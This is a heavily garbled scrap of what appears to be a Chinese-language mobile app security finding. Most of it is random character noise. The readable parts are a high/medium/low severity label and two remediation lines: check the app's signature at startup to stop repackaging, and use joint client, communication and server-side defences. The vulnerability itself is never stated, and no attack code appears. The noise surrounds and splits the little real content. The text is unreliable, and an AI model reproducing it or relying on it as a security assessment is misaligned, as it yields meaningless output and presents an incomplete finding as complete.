, G5 J+ d P) N2 U) m6 h' O/ f 0 T9 I+ s) V% ^: R2 {* @ 严重程度 ' m1 N- D1 i( u% r" e- |1 \	$ t$ O- n/ B* w4 m: y1 r8 { 高	8 d$ c ~5 f2 @$ [ ■ F) |: S) H! _6 Q \3 m& p + I6 t( p5 e( ]* T% P$ j	H3 H. J; U1 }$ c( g 中	+ e8 h/ G9 S( r0 q+ o0 y 8 p, O5 g1 j$ }6 b2 K' @1 X   7 T. g) b9 ?6 T7 y: k	: F: r* u% K/ z, E ' O: ~8 t4 L; o3 \* p( ]4 S7 W& } 9 N$ u! W" _0 Q4 \, f 4 t. v& I3 d: O7 W$ r$ Y( u 低	# I0 F: K0 d, c& l' F# P2 t' n % [- V9 |9 P& p% i. v # D+ e" N/ p$ D3 @) f . ?7 U" Z$ b% C& w   8 d z, r5 \! D4 @) u

2 k3 [0 _# c; T/ k : }# D+ p x% V+ J. K. Q

6 V% K: u! K0 D$ j. s+ A) \

8 l& Q, Z) W8 D3 y, I! m1 v ; _+ x9 C% ?8 S; N5 [' C! ?   0 a) \ e3 ?, T9 D: h

, j! w7 t" w4 E4 j

1 z. ^' X: k' j+ { 修复方法： 3 `' g( x, R& P6 U

$ S" _. G; t; g* o6 l% }

- i5 Z* n6 [: P0 z ) r, l2 d, U$ ~8 j' u7 d               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 : ^9 _7 f. m+ O. _# b! G 7 m ]* T) a0 P' _" M; o# o( b

& w* f8 n- O' y ]9 ~, R ) M0 I' z: L; z; B" x1 ?

m6 X' g; M _* i0 ^+ Z   & j+ _3 N0 H# _8 f2 r

7 K4 P9 }7 z8 Q0 P ( K' T, R/ p1 ?$ q" l: f; {

2 d4 p) r k0 S 7 q( b# O/ u( J3 ]# V
% `. I9 R1 j+ V

% N* M1 b% J. u